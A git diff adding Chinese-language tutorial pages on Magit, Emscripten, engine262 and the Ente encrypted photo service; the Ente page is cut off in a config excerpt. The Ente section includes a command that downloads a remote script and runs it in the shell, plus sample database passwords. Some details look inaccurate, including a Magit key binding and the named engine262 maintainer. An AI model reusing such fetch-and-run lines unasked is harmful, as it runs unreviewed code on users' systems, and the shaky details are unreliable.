+- 哪些修改已经暂存（staged）
+- 哪些提交还没有推送到远程
+- 哪些分支还没有合并
+
+这个界面不是一次性的。你每次刷新，它都会重新读取仓库状态，就像手机的实时信息流一样。
+
+### 2. 区段（Sections）
+
+状态缓冲区里的内容被分成多个"区段"。每个区段像一个可以折叠的文件夹：
+
+```
+[Unstaged changes]        <-- 折叠的区段标题
+  * file1.js               <-- 文件（展开后可以看到具体修改）
+    @@ -1,3 +1,4 @@        <-- 具体的代码差异块（hunk）
+      console.log("hello")
+
+[Staged changes]          <-- 折叠的区段标题
+  * file2.py
+
+[Unpushed to origin/main] <-- 折叠的区段标题
+  * abc1234 Some commit message
+```
+
+区段可以展开（TAB 键）或折叠（Shift + TAB）。这和 Org mode 的模式一样——如果你对 Emacs 的 Org 模式有接触， Magit 的区段会让你觉得很熟悉。
+
+### 3. 暂态命令（Transient Commands）
+
+Magit 的命令系统叫"暂态"。这个词听起来专业，其实很简单：
+
+当你按下一个前缀键（比如 `c`），Magit 会在屏幕底部弹出一个临时菜单，显示这个类别下所有可用的子命令：
+
+```
+Transient: C-u  Reset  c  Commit  C-x C-c  Create  r  Revert  ...
+```
+
+每个字母对应一个操作。你想提交，就按 `c`（Commit）。想打标签，就按 `t`。这个菜单在你执行了一个命令后自动消失——所以叫"暂态"（transient，意为短暂的、临时的）。
+
+### 4. 键盘驱动（Actionable Interface）
+
+Magit 最独特的特点是：屏幕上显示的内容，每一个项目都可以用键盘操作。不需要用鼠标。
+
+- 光标移动到某个文件上，按 `s` 就能把它暂存
+- 光标移动到某个提交上，按 `P` 就能把它推送
+- 光标移动到某个差异块上，按 `s` 就能只暂存这一部分代码
+
+## 快速上手
+
+### 安装
+
+Magit 通过 Emacs 的包管理器安装：
+
+```elisp
+;; 在你的 Emacs 配置文件中添加：
+(use-package magit
+  :ensure t
+  :bind (("C-c g" . magit-status)))
+```
+
+或者如果你用 Emacs 29+，可以直接：
+
+```elisp
+M-x package-install RET magit RET
+```
+
+### 第一步：打开状态缓冲区
+
+在 Emacs 里，按 `C-c g`（或者你配置的其他快捷键），Magit 就会打开一个"状态缓冲区"，显示当前所在仓库的状态。
+
+如果当前目录不是一个 Git 仓库，Magit 会提示你创建一个。
+
+### 第二步：暂存文件
+
+修改一些文件后，在状态缓冲区里：
+
+1. 用 `n`（下一个）和 `p`（上一个）键移动光标到"Unstaged changes"区段下的文件
+2. 按 `s`（stage）暂存这个文件
+3. 文件会立刻出现在"Staged changes"区段中
+
+### 第三步：提交
+
+暂存后，按 `c` 进入提交命令菜单：
+
+```
+Transient: C-u  Reset  c  Commit  C-x C-c  Create  r  Revert  ...
+```
+
+再按 `c`（Commit），会打开一个缓冲区让你写提交信息。写好之后按 `C-c C-c` 保存并提交。
+
+### 第四步：推送
+
+提交后，按 `P`（大写 P）进入推送命令菜单，然后按 `p` 推送到远程。
+
+## 代码示例
+
+### 示例 1：从创建仓库到第一次推送的完整流程
+
+以下是在 Magit 中完成一次完整开发流程的键序列：
+
+```
+1. 在终端中进入项目目录，打开 Emacs
+   $ cd my-project
+   $ emacs .
+
+2. 在 Emacs 中按 C-c g 打开状态缓冲区
+
+3. 修改了一些文件后，按 g 刷新状态
+
+4. 移动光标到 Unstaged changes 下的文件，按 s 暂存
+
+5. 如果只想暂存某个文件的部分修改：
+   - 按 TAB 展开文件，看到里面的 hunk 区块
+   - 移动光标到不想暂存的那个 hunk
+   - 按 u（unstage）跳过它
+   - 对想暂存的 hunk 按 s
+
+6. 按 c 进入提交菜单，再按 c 创建提交
+   - 输入提交信息：feat: add user authentication
+   - 按 C-c C-c 确认
+
+7. 按 P 进入推送菜单，再按 p 推送到远程
+```
+
+### 示例 2：查看和比较差异
+
+在 Magit 中查看差异不需要记命令：
+
+```
+1. 按 d（diff）进入差异菜单
+2. 按 s（show）查看当前工作区与暂存区的差异
+3. 按 l（log）查看提交历史
+4. 在历史记录中移动光标，按 SPC 预览该提交的变更
+5. 按 v 进入 ediff 模式，进行交互式的差异比较
+6. 按 q 退出预览模式回到状态缓冲区
+```
+
+Magit 的 diff 查看界面和状态缓冲区一样，每一行都可以操作：
+
+- 在 diff 中看到一行代码有问题
+- 光标移到那一行，按 `e`（edit）直接在该行打开文件并编辑
+- 编辑保存后，回到状态缓冲区，按 `s` 重新暂存修改
+
+### 示例 3：分支管理与合并
+
+```
+1. 按 b（branch）进入分支菜单
+2. 按 n（new）创建新分支，输入分支名如 feature/login
+3. 按 TAB 切换到分支列表，光标移到新分支上
+4. 按 @ 将 HEAD 移到该分支（checkout）
+5. 在该分支上工作、提交
+6. 切回主分支，按 b 进入分支菜单
+7. 按 m（merge）选择要合并的分支
+8. 如果有冲突，Magit 会打开冲突解决界面
+   - 用 C-c C-c 解决冲突并继续
+```
+
+## 为什么 Magit 值得学
+
+### 1. 它教你 Git 命令
+
+Magit 在后台实际上就是运行 `git` 命令。如果你好奇它执行了什么，可以用 `v` 查看 Git 的输出。你会发现，用 Magit 的过程实际上是在潜移默化地学习 Git 命令行。
+
+### 2. 不需要记住命令
+
+你不需要记住 `git log --oneline --graph --all` 这种长命令。在 Magit 里，按几个键就能看到所有信息。
+
+### 3. 比图形界面更强大
+
+很多 Git GUI 工具（比如 GitKraken、Sourcetree）看起来更漂亮，但 Magit 能做到它们做不到的事情——比如精确暂存一个 hunk 中的某几行代码、交互式变基（interactive rebase）、 cherry-pick 多个提交。这些操作在 GUI 中要么做不到，要么非常繁琐。
+
+### 4. 速度极快
+
+Magit 的状态缓冲区会自动刷新。你切换文件、保存文件后，按 `g` 或 `C-x g`，一切立刻更新。没有延迟，没有加载动画。
+
+### 5. 键盘就是全部
+
+一旦你熟悉了 Magit 的快捷键，你的手指就几乎不会离开键盘。这比用鼠标点击菜单快得多，尤其是在频繁进行版本控制操作的时候。
+
+## 常用快捷键速查
+
+| 按键 | 功能 |
+|------|------|
+| `C-c g` | 打开状态缓冲区 |
+| `g` | 刷新状态缓冲区 |
+| `TAB` | 展开/折叠当前区段 |
+| `n` / `p` | 下一个/上一个区段 |
+| `s` | 暂存（stage） |
+| `u` | 取消暂存（unstage） |
+| `c` | 提交命令菜单 |
+| `P` | 推送命令菜单 |
+| `P-p` | 推送到远程 |
+| `d` | 差异菜单 |
+| `l` | 日志菜单 |
+| `b` | 分支菜单 |
+| `k` | 删除当前区段指向的对象 |
+
+## 小结
+
+Magit 的核心价值在于：它把 Git 的命令行功能和 GUI 的可视性结合在一起，通过键盘驱动的方式让你高效地完成版本控制工作。
+
+学习曲线在开始时可能有些陡峭——因为你需要记住一些新的快捷键。但一旦形成肌肉记忆，你会发现 Magit 比命令行更快、比 GUI 更灵活。
+
+最重要的是，Magit 让你不再害怕 Git。当每一次操作都只需要按一个键，版本控制就不再是开发流程中的障碍，而成为一种流畅的体验。
diff --git a/src/content/docs/projects/emscripten.md b/src/content/docs/projects/emscripten.md
new file mode 100644
index 000000000..cafc7e3e0
--- /dev/null
+++ b/src/content/docs/projects/emscripten.md
@@ -0,0 +1,159 @@
+---
+title: Emscripten — LLVM 到 WebAssembly 编译器
+来源: https://github.com/emscripten-core/emscripten
+日期: 2026-06-13
+分类: 编译器
+子分类: wasm-toolchain
+provenance: pipeline-v3
+---
+
+# Emscripten — LLVM 到 WebAssembly 编译器
+
+## 一、日常类比：把桌面程序变成网页小游戏
+
+想象你写了一款桌面游戏，用的是 C 语言（就像当年很多经典游戏一样）。你想让它在浏览器里也能跑——但不想重写一遍。
+
+Emscripten 做的事情就是：它像一个翻译工厂，把你的 C/C++ 代码，通过 LLVM 编译器中间层，最终"翻译"成 WebAssembly（wasm），再加一层 JavaScript 胶水代码，让浏览器能直接运行。
+
+整个过程分三步：
+
+1. C/C++ 代码 → LLVM IR（中间表示）
+2. LLVM IR → WebAssembly（.wasm 二进制文件）
+3. 自动加一层 JavaScript 胶水（.js 文件），处理内存、系统调用等浏览器需要的东西
+
+最终你得到的是 .wasm + .js + .html，浏览器打开就能跑。
+
+## 二、核心概念
+
+### 1. emcc — 编译器前端
+
+emcc 是 Emscripten 的核心命令，用法和 gcc/clang 几乎一样：
+
+```bash
+emcc hello.c -o hello.html
+```
+
+一条命令，把 C 文件编译成可以在浏览器中直接运行的 HTML 页面。
+
+### 2. WebAssembly（wasm）
+
+wasm 是一种二进制指令格式，设计目标是：
+
+- 接近原生性能（比 JavaScript 快很多）
+- 跨平台、跨浏览器
+- 安全性高（沙箱执行）
+
+Emscripten 就是把 C/C++ 编译成这种格式。
+
+### 3. 虚拟文件系统（Virtual File System, VFS）
+
+浏览器没有传统磁盘，Emscripten 在内存里模拟了一套文件系统。你的程序可以照常读写文件，文件内容存在浏览器的内存或 IndexedDB 中。
+
+### 4. SDL / OpenGL 支持
+
+Emscripten 内置了对 SDL2、OpenGL ES 的支持。这意味着 Unity 引擎、GameMaker 等游戏引擎的 C/C++ 代码可以直接编译到浏览器，图形渲染通过 WebGL/WebGPU 实现。
+
+## 三、代码示例
+
+### 示例一：Hello World
+
+写一个最简单的 C 程序：
+
+```c
+// hello.c
+#include <stdio.h>
+
+int main() {
+    printf("Hello from Emscripten!\n");
+    return 0;
+}
+```
+
+编译并直接运行：
+
+```bash
+# 编译成 HTML（自动包含 JS 和 wasm）
+emcc hello.c -o hello.html
+
+# 用 emrun 启动本地服务器查看
+emrun hello.html
+```
+
+编译后浏览器里打开 hello.html，控制台会输出"Hello from Emscripten!"。
+
+### 示例二：带数学计算的 C 程序
+
+```c
+// math.c
+#include <stdio.h>
+#include <math.h>
+
+int main() {
+    double radius = 5.0;
+    double area = M_PI * radius * radius;
+    printf("Circle area (r=%.1f): %.2f\n", radius, area);
+    return 0;
+}
+```
+
+编译时需要链接 math 库：
+
+```bash
+emcc math.c -o math.html -lm
+```
+
+`-lm` 参数告诉编译器链接数学库。运行后页面控制台输出：
+
+```
+Circle area (r=5.0): 78.54
+```
+
+### 示例三：编译成 .wasm + .js 模块（可被 JavaScript 调用）
+
+```c
+// calculator.c
+#include <emscripten.h>
+
+EMSCRIPTEN_KEEPALIVE
+int add(int a, int b) {
+    return a + b;
+}
+
+EMSCRIPTEN_KEEPALIVE
+double multiply(double a, double b) {
+    return a * b;
+}
+```
+
+```bash
+# 编译成可被 JS 调用的模块
+emcc calculator.c -o calculator.js -s EXPORTED_FUNCTIONS='["_add","_multiply"]' -s MODULARIZE=1
+```
+
+在 HTML 中可以这样调用：
+
+```html
+<script src="calculator.js"></script>
+<script>
+  Module().then(mod => {
+    const result = mod._add(3, 4);
+    console.log("3 + 4 =", result); // 7
+    const product = mod._multiply(2.5, 4);
+    console.log("2.5 * 4 =", product); // 10
+  });
+</script>
+```
+
+`EMSCRIPTEN_KEEPALIVE` 宏标记了哪些函数可以导出到 JavaScript。`-s MODULARIZE=1` 让输出成为一个可复用的 JavaScript 模块。
+
+## 四、典型应用场景
+
+- **游戏引擎**：Unity、Unreal Engine 都可以把游戏编译到浏览器
+- **图像处理**：ImageMagick、FFmpeg 等工具编译到 WebAssembly，在浏览器里做视频/图片处理
+- **科学计算**：用 C/C++ 写的高性能算法直接跑在网页上
+- **CAD/3D 建模**：Blender、FreeCAD 的部分功能可以移植到浏览器
+- **数据库**：SQLite 可以直接编译到 WebAssembly，支持前端本地数据库
+
+## 五、总结
+
+Emscripten 的核心价值就是：让现有的 C/C++ 生态（数以万计的项目和库）能够"一键"跑在浏览器上，不需要重写。它利用了 LLVM 的成熟编译器后端和 Binaryen 的 Wasm 优化能力，是目前最成熟的 LLVM-to-Wasm 编译工具。
diff --git a/src/content/docs/projects/engine262.md b/src/content/docs/projects/engine262.md
new file mode 100644
index 000000000..305494048
--- /dev/null
+++ b/src/content/docs/projects/engine262.md
@@ -0,0 +1,273 @@
+---
+title: engine262 — 用 JS 写的 ECMAScript 规范实现
+来源: https://github.com/engine262/engine262
+日期: 2026-06-13
+子分类: 语言运行时
+分类: 编译器
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**engine262** 是一个用 JavaScript（实现语言为 TypeScript）编写的 **ECMA-262 解释器**——不是把 JS 编译成机器码的生产引擎，而是一台「按规范条文逐句执行的 JS 虚拟机」，专门用来**理解语义、试验新特性、跑 test262 一致性测试**。
+
+日常类比：ECMA-262 是《道路交通法》原文；V8、SpiderMonkey 是量产汽车，要跑得快、省油、耐撞；**engine262 则是法学院里的「条文演练沙盘」**——车速很慢，但红灯能不能右转、环岛让行谁先走，每一条都能对照法条原文查清楚。你在沙盘上改一条规则（比如加上 `do` 表达式），立刻就能开车试，不用等整车厂改发动机。
+
+项目由 Dannii Fisher（GitHub: devsnek）等人从 2018 年起维护，代码结构与 ECMA-262 规范中的算法名称高度对应（`Evaluate`、`GetValue`、`ToNumber` 等），是前端工程师和 TC39 参与者理解「JS 到底怎么规定」的利器。
+
+## 为什么重要
+
+不了解 engine262，下面这些场景会说不清：
+
+- **为什么 Babel 能转译 optional chaining，却说不清 `?.` 在 `null` 与 `undefined` 上的细微差别**——engine262 按规范算法执行，能暴露转译与语义之间的缝隙
+- **为什么 TC39 提案阶段需要「能跑的参考实现」**——在 V8 里加一个 Stage 1 特性要动 JIT、GC、内建对象，周期以月计；engine262 改 parser + evaluator 往往几十行 diff
+- **test262 是什么、引擎怎么证明「符合标准」**——engine262 自带 test262 runner，与 Chrome V8 用的是同一套官方一致性测试
+- **「规范 compliant」和「能跑 npm 包」不是一回事**——engine262 追求 100% 规范符合，不追求速度，也不适合替代 Node 跑业务
+
+## 设计目标与非目标
+
+官方 README 写得很直白：
+
+| 目标 | 含义 |
+|------|------|
+| **100% Spec Compliance** | 行为以 ECMA-262 为准，宁可慢也要对 |
+| **Introspection（可内省）** | 能观察执行过程，方便教学与调试 |
+| **Ease of modification（易修改）** | 加 TC39 提案、改语义成本低 |
+
+| 非目标 | 含义 |
+|--------|------|
+| **Speed** | 不为性能牺牲上述三者；生产环境请用 V8 / JavaScriptCore |
+
+这与 QuickJS、Hermes 的路线截然不同：后两者为**嵌入与启动**优化；engine262 为**规范忠实度与可实验性**优化。
+
+## 核心概念
+
+### 1. ECMA-262 与 engine262 的关系
+
+- **ECMA-262**：JavaScript 语言的正式规范文档（TC39 维护），用伪代码描述词法、语法、运行时语义
+- **engine262**：把这份伪代码**尽量一对一**翻译成 TypeScript 可执行代码
+
+类比：规范是乐谱，engine262 是「严格按谱演奏的乐团」——不即兴改编，方便你对照乐谱找错音。
+
+### 2. Agent 与 Realm（执行环境）
+
+规范里的两个顶层抽象，在 API 里直接暴露：
+
+- **Agent**：一次「JS 进程」——包含微任务队列、当前正在跑的 Realm 等（类似 Node 进程里只有一个主 Agent）
+- **Realm**：独立的**全局环境**——有自己的 `globalThis`、内建对象；浏览器里每个 iframe 是一个 Realm
+
+在 Node 宿主里，你用 `Agent` + `ManagedRealm` 创建沙箱，再 `evaluateScript` 往里塞代码。
+
+### 3. 解析器 + 树遍历解释器（Tree Walker）
+
+根据社区资料与仓库结构：
+
+- **Parser**：递归下降（recursive descent），产出 AST
+- **Evaluator**：对 AST 做**树遍历**（tree walker），用 generator 实现规范里的 `Evaluate` 等算法
+
+没有 LLVM、没有重型 JIT。每一步语义跳转都能在源码里找到对应函数——这是「易修改」的根基。
+
+### 4. Feature flags（特性开关）
+
+CLI 支持 `--features=` 与 `--list-features`，可以开关规范中的可选特性或实验提案，方便对比「开/关某特性时行为差异」。这对验证 Stage 0–2 提案特别有用。
+
+### 5. test262 集成
+
+[test262](https://github.com/tc39/test262) 是 ECMAScript 的**官方一致性测试套件**（五万+ 测试文件）。engine262 提供 `npm run test:test262`，能批量跑这些用例。项目历史上曾用它**发现规范文档与测试用例本身的 bug**——说明实现足够「较真」。
+
+### 6. 与 Babel、生产引擎的分工
+
+```
+你的 JS 源码
+    │
+    ├─► Babel：语法降级，方便在旧引擎跑新语法（不一定 100% 语义等价）
+    │
+    ├─► V8 / JSC：生产执行，快，改语义成本高
+    │
+    └─► engine262：按规范直译执行，慢，改语义成本低
+```
+
+README 举例：给 engine262 加 **do 表达式**（TC39 提案），只需在 `evaluator` 里加一个 `case 'DoExpression'`，在 `ExpressionParser` 里加几行解析——diff 量级远小于改 V8。
+
+### 7. boost：可选加速层
+
+子项目 [engine262/boost](https://github.com/engine262/boost) 提供**优化版解释器**，用可理解性换执行速度，可挂到 `Agent({ boost: ... })` 上。与主项目目标相反，属于进阶插件，零基础可先忽略。
+
+### 8. 安装与包名注意
+
+npm 上原包名 `@engine262/engine262` 因发布权限问题，维护者临时改用 **`@magic-works/engine262`**。安装时以 README 当前说明为准。运行 engine262 **本身**需要宿主 JS 引擎支持较新的 ES 特性（通常用较新的 Node.js）。
+
+## 执行流水线（零基础版）
+
+从一段 JS 字符串到出结果，路径大致如下：
+
+```
+JS 源码字符串
+      │
+      ▼  词法 + 语法分析（Parser）
+   AST（抽象语法树）
+      │
+      ▼  语义求值（Evaluator，对齐规范 Evaluate 算法）
+   Completion Record（正常值或 throw）
+      │
+      ▼  宿主桥接（console、inspect、test262 的 $262 等）
+   Node 进程的 stdout / 测试结果
+```
+
+与 V8 的「解析 → 字节码 → JIT」不同，engine262 停在「AST + 直译」，所以**慢但透明**。
+
+## 实践案例
+
+### 案例 1：CLI 快速试代码
+
+全局或 `npx` 安装后，可直接在终端跑片段：
+
+```bash
+# 安装（包名以官方 README 为准）
+npm install @magic-works/engine262
+
+# 求值表达式并退出
+npx engine262 --eval "console.log([1, 2, 3].map(x => x * 2))"
+
+# 以模块方式执行文件
+npx engine262 --module ./my-module.mjs
+
+# 列出可切换的特性
+npx engine262 --list-features
+
+# 打开实验特性（示例，具体名称以 --list-features 为准）
+npx engine262 --features=all --eval "0"
+```
+
+默认会启动类似 Node 的 **Inspector**（`ws://localhost:9229/`），可用 Chrome DevTools 连接调试——对理解「规范级」执行过程很有帮助。在线沙箱：[engine262.js.org](https://engine262.js.org)。
+
+### 案例 2：Node API 嵌入自定义 Realm
+
+下面改编自官方 `lib-src/node/example.mts`，展示如何在 Node 里创建 Agent、Realm，并捕获脚本抛错：
+
+```typescript
+import {
+  Agent,
+  ManagedRealm,
+  NormalCompletion,
+  ThrowCompletion,
+  inspect,
+  setSurroundingAgent,
+} from '@magic-works/engine262';
+
+// 1. 创建 Agent 并设为当前 surrounding agent
+const agent = new Agent({});
+setSurroundingAgent(agent);
+
+// 2. 创建独立 Realm（独立 global 环境）
+const realm = new ManagedRealm({
+  resolverCache: new Map(),
+  name: 'My Realm',
+  specifier: process.cwd(),
+});
+
+// 3. 在 realm.scope 内执行脚本（规范要求的作用域边界）
+realm.scope(() => {
+  realm.evaluateScript(
+    `console.log('Hello from engine262!');
+     console.log('2 + 2 =', 2 + 2);`,
+    { specifier: 'example.mts' },
+  );
+
+  const result = realm.evaluateScript(
+    `throw new Error('This is an example error');`,
+    { specifier: 'example.mts' },
+  );
+
+  if (result instanceof NormalCompletion) {
+    console.log('No Error');
+  } else if (result instanceof ThrowCompletion) {
+    console.error('Caught:', inspect(result.Value));
+  }
+});
+```
+
+要点：
+
+- `evaluateScript` 返回的是规范里的 **Completion**（`NormalCompletion` / `ThrowCompletion`），不是直接 try/catch JS 异常——这与「按规范建模」一致
+- 需要自己把 `console` 等方法挂进 Realm（官方 example 用 `createConsole`）；浏览器宿主内建对象不会自动出现
+
+### 案例 3：对照规范改语义（do 表达式）
+
+README 中的经典 diff 说明「易修改」有多具体：
+
+```diff
+// evaluator.mts — 多一个 AST 节点分支
++    case 'DoExpression':
++      return yield* Evaluate_Block(node.Block);
+
+// ExpressionParser.mts — 多一种 primary 表达式
++      case Token.DO: {
++        const node = this.startNode<ParseNode.DoExpression>();
++        this.next();
++        node.Block = this.parseBlock();
++        return this.finishNode(node, 'DoExpression');
++      }
+```
+
+Parser 认出新语法，Evaluator 规定「do 块」如何求值——两步走完，就能在沙箱里跑提案代码。这正是 engine262 存在的理由。
+
+## 与相近项目对比
+
+| 项目 | 语言 | 主要目标 | 与 engine262 关系 |
+|------|------|----------|-------------------|
+| **engine262** | TypeScript | 规范符合、可实验 | 本文主角 |
+| **V8 / SpiderMonkey** | C++ | 生产性能 | 规范参考实现，难改 |
+| **Babel** | JavaScript | 转译新语法 | 不执行完整语义 |
+| **QuickJS** | C | 轻量嵌入 | 生产向，非教学沙箱 |
+| **Hermes** | C++ | RN 启动与内存 | 移动端字节码，非规范沙箱 |
+
+许多「用 JS 写 JS 解释器」的项目（如早期 educational interpreter）目标各异；engine262 **刻意贴规范**，不是最小玩具实现。
+
+## 本地开发（想读源码时）
+
+克隆仓库后典型命令：
+
+```bash
+git clone https://github.com/engine262/engine262.git
+cd engine262
+npm install
+npm run build      # 编译
+npm run watch      # 监听重编
+npm start          # 启动 CLI
+npm run test:test262   # 跑官方一致性测试（耗时可观）
+npm run inspector  # 启动带调试的前端站点
+```
+
+读代码建议路径：
+
+1. `src/parser/` — 语法如何进 AST
+2. `src/evaluator.mts` — `Evaluate` 与各语义算法
+3. `src/abstract-ops/` — `ToNumber`、`Get` 等抽象操作
+4. 对照 [tc39.es/ecma262](https://tc39.es/ecma262/) 同名算法阅读
+
+## 常见误区
+
+1. **「慢 = 实现差」** — 慢是设计取舍，不是 bug
+2. **「能跑 test262 就能替代 Node」** — 不行；无完整 Node API、无原生模块生态
+3. **「和 Babel 重复」** — Babel 改 AST 输出新语法；engine262 执行规范语义，互补
+4. **「包名一定是 @engine262/engine262」** — 以 README 当前 npm 包名为准
+
+## 学习路径建议
+
+1. **先玩 CLI / 在线 playground**：建立「规范级执行」直觉
+2. **挑一个小特性对照规范读**：例如 `typeof null === 'object'` 在规范里如何定义
+3. **跑一小撮 test262**：看失败用例如何定位到 evaluator
+4. **跟踪 TC39 提案**：看 engine262 上相关 PR 如何改 parser/evaluator
+
+## 小结
+
+engine262 是 JavaScript 世界的**规范演练场**：用 JS 写 JS 的「法律条文执行器」，牺牲速度换取**语义透明、易改、可验证**。若你想回答「这门语言**规定**应该怎样」而不是「Chrome 里怎样最快」，它是零基础通往 ECMA-262 最友好的开源入口之一。
+
+## 参考链接
+
+- 仓库：<https://github.com/engine262/engine262>
+- 在线 Playground：<https://engine262.js.org>
+- ECMA-262 规范：<https://tc39.es/ecma262/>
+- test262 测试套件：<https://github.com/tc39/test262>
+- npm（当前维护包名以 README 为准）：<https://www.npmjs.com/package/@magic-works/engine262>
diff --git a/src/content/docs/projects/ente.md b/src/content/docs/projects/ente.md
new file mode 100644
index 000000000..7b97b94ed
--- /dev/null
+++ b/src/content/docs/projects/ente.md
@@ -0,0 +1,310 @@
+---
+title: Ente — 端到端加密云相册与零知识备份
+来源: https://github.com/ente-io/ente
+日期: 2026-06-13
+子分类: 安全与隐私
+分类: 安全与隐私
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Ente**（[ente.io](https://ente.com)）是一套完全开源、端到端加密（E2EE）的个人云存储平台。你在手机上拍的照片、2FA 令牌、重要文档，在离开设备之前就被加密成密文；服务器（代号 **Museum**）只负责搬运和计费，**读不懂**里面是什么。
+
+日常类比：
+
+- **Google Photos / iCloud** = 把相册交给**带监控的托管仓库**：服务商技术上能看你的原图，用来做人脸识别、广告画像
+- **Ente** = 把已经**上锁的保险箱**寄到仓库：仓库只知道「有一个 4.2MB 的箱子」，不知道里面是婚礼照还是工资条
+- **Museum 服务器** = **收发室**：登记箱子编号、分配格子、开发票，但**没有保险箱钥匙**
+- **masterKey（主密钥）** = 只有你自己持有的**万能钥匙**；密码只是用来再包一层锁，保护这把钥匙
+
+同一套加密底座上，Ente 团队已经做了三款应用：
+
+| 产品 | 定位 | 收费 |
+|------|------|------|
+| **Ente Photos** | Google Photos / iCloud Photos 替代品 | 免费 10GB；付费扩容 |
+| **Ente Auth** | 开源 2FA 验证器（Authy 替代） | 免费 |
+| **Ente Locker** | 证件、笔记、凭证保险箱 | 免费 100 条；Photos 订阅用户 1000 条 |
+
+代码在 GitHub 单体仓库 [ente-io/ente](https://github.com/ente-io/ente)（AGPL-3.0），客户端以 **Flutter/Dart** 为主，服务端 **Museum** 是 **Go** 单二进制 + PostgreSQL + S3 兼容对象存储。官方托管在 ente.com；你也可以用 Docker 自建，客户端连自己的域名。
+
+## 为什么重要
+
+照片和 2FA 是最敏感的两类个人数据，却长期被「方便」绑在少数大厂生态里。Ente 的价值在于把 **隐私** 和 **体验** 放在同一层架构里解决，而不是事后打补丁：
+
+- **零知识（Zero-Knowledge）**：密钥派生、文件分块加密全在客户端；服务端被拖库也只能拿到密文
+- **跨平台一致**：iOS / Android / Web / macOS / Windows / Linux 共用同一套加密协议，不是「某端有 E2EE、某端没有」
+- **可审计**：Cure53、Symbolic Software 等第三方做过密码学审计；源码 AGPL，可 fork、可自建
+- **存储与算力解耦**：Museum 只管元数据和预签名 URL；大文件直传 [[minio]] / R2 / B2，服务器不当中转瓶颈
+- **一条账户多种数据**：Photos、Auth、Locker 共用 Museum，未来新应用无需重新注册
+
+对工程师来说，Ente 是学 **libsodium 实战、密钥层级设计、S3 预签名直传、Flutter 多端同步** 的完整样本；对普通用户，它是「我仍要云备份，但不想把人生交给广告商」的可执行答案。
+
+## 核心概念
+
+### 1. 密钥层级（Key Encryption）
+
+注册时客户端生成随机 **masterKey**（256-bit），**永不以明文上传**。你设置的密码经 **Argon2id**（`crypto_pwhash`）派生出 **keyEncryptionKey**，只用来加密 masterKey：
+
+```
+密码 + salt
+  └─> keyEncryptionKey (Argon2id)
+      └─> 加密 masterKey → encryptedMasterKey（存服务器）
+
+masterKey
+  └─> 加密 collectionKey（相册/文件夹）
+      └─> 加密 fileKey（单张照片）
+          └─> 加密文件内容与元数据（EXIF、文件名等）
+```
+
+登录时流程反过来：服务器下发 `encryptedMasterKey`，你用密码派生的 key 解密；密码错了解密失败，客户端立刻知道，**无需**把密码发到服务器比对明文。
+
+此外还有：
+
+- **recoveryKey**：与 masterKey 互相加密备份，用于忘记密码时恢复
+- **publicKey / privateKey**：Curve25519 密钥对；`publicKey` 明文存服务器，用于相册分享和加密下发的 `authToken`
+- **Verification ID**：`publicKey` 的 SHA-256 转成 BIP39 助记词，两人在分享前对照，防中间人冒充
+
+### 2. 数据模型：Collection 与 File
+
+- **Collection**：文件夹或相册（如「相机胶卷」「旅行 2025」），各有随机 **collectionKey**
+- **File**：每张照片/视频有独立 **fileKey**；元数据也用同一 fileKey 加密
+- 上传时：文件用 **XChaCha20-Poly1305 流式 API**（`crypto_secretstream_*`）分块加密，适合大视频；小密钥用 **XSalsa20-Poly1305**（`crypto_secretbox`）
+
+下载时按层级逐级解密，任何一层密钥缺失都无法恢复内容——这就是「零知识」的工程实现。
+
+### 3. Museum：数据无关的 API 服务器
+
+Museum 故意对业务数据**保持盲态**：
+
+1. 客户端请求上传 → Museum 生成 **S3 预签名 URL** 并返回
+2. 客户端**直传**密文到对象存储（默认 bundled MinIO，也可接 Cloudflare R2、Wasabi 等）
+3. 上传完成后客户端通知 Museum；Museum 用 `HeadObject` 校验对象存在，更新数据库里的加密元数据
+
+因此架构上是 **三跳**：Client ↔ Museum ↔ PostgreSQL（加密元数据）+ S3（密文 blob）。官方托管还把数据复制到 **3 个不同云厂商** 的区域，自建通常单副本，需自己备份 `museum.yaml` 和卷。
+
+### 4. 分享与协作
+
+分享相册时，发送方用接收方的 **publicKey**（`crypto_box_seal`）加密 `collectionKey`，服务器只转发密文。接收方用自己的 **privateKey** 解开，再按 File 层级解密照片。双方可在 UI 对照 **Verification ID**，确认端到端路径没有被换公钥。
+
+### 5. Ente Auth 的平行结构
+
+2FA 令牌不走 fileKey，而使用 **tokenKey** + **authKey**（再由 masterKey 保护），逻辑与 Photos 同构，所以 Museum 无需为 Auth 单独写一套存储后端。
+
+### 6. 技术栈一览
+
+| 层 | 技术 |
+|----|------|
+| 密码学 | [libsodium](https://libsodium.gitbook.io/doc/)（XChaCha20、Argon2id、X25519） |
+| 客户端 | Flutter（移动/桌面）、TypeScript（Web） |
+| 服务端 | Go（Museum 单二进制） |
+| 数据库 | PostgreSQL |
+| 对象存储 | S3 兼容（MinIO / R2 / B2 / AWS） |
+| 部署 | Docker Compose、`quickstart.sh` 一键脚本 |
+| 许可 | AGPL-3.0 |
+
+## 代码示例
+
+### 示例 1：本地启动自建 Museum 集群
+
+在 `ente/server` 目录克隆仓库后，一条命令拉起 API、Web、Postgres、MinIO：
+
+```bash
+git clone https://github.com/ente-io/ente.git
+cd ente/server
+docker compose up --build
+```
+
+健康检查：
+
+```bash
+curl http://localhost:8080/ping
+# 期望返回 pong（改过 healthcheck.go 可能是 kong）
+```
+
+服务端口（默认 quickstart / compose）：
+
+| 服务 | 端口 | 用途 |
+|------|------|------|
+| Museum | `:8080` | REST API |
+| Web | `:3000` | Ente Photos 网页端 |
+| Albums | `:3002` | 公开相册链接 |
+| MinIO | `:3200` | S3 兼容存储 |
+
+浏览器打开 `http://localhost:3000` 注册账号；邮件验证码在 `docker compose logs` 里查看（自建无真实 SMTP 时）。这与 [[docker]]、[[minio]] 的组合是自建 Ente 最常见的入门路径。
+
+更省事的一键脚本（无需 clone，用预构建镜像）：
+
+```bash
+sh -c "$(curl -fsSL https://raw.githubusercontent.com/ente-io/ente/main/server/quickstart.sh)"
+# 在当前目录生成 my-ente/，含 compose.yaml 与自动生成的 museum.yaml
+cd my-ente && docker compose up -d
+```
+
+### 示例 2：自建时配置 Museum 的 S3 端点（`museum.yaml` 节选）
+
+手机/另一台电脑上传失败，**最常见原因**是 MinIO 的 `endpoint` 写成了 `localhost`——Museum 会把该地址写进预签名 URL，手机上的 `localhost` 指向手机自己，上传静默失败。应改成局域网 IP 或公网域名：
+
+```yaml
+# my-ente/museum.yaml（节选）
+db:
+  host: postgres
+  port: 5432
+  name: ente_db
+  user: pguser
+  password: pgpass
+
+s3:
+  are_local_buckets: true
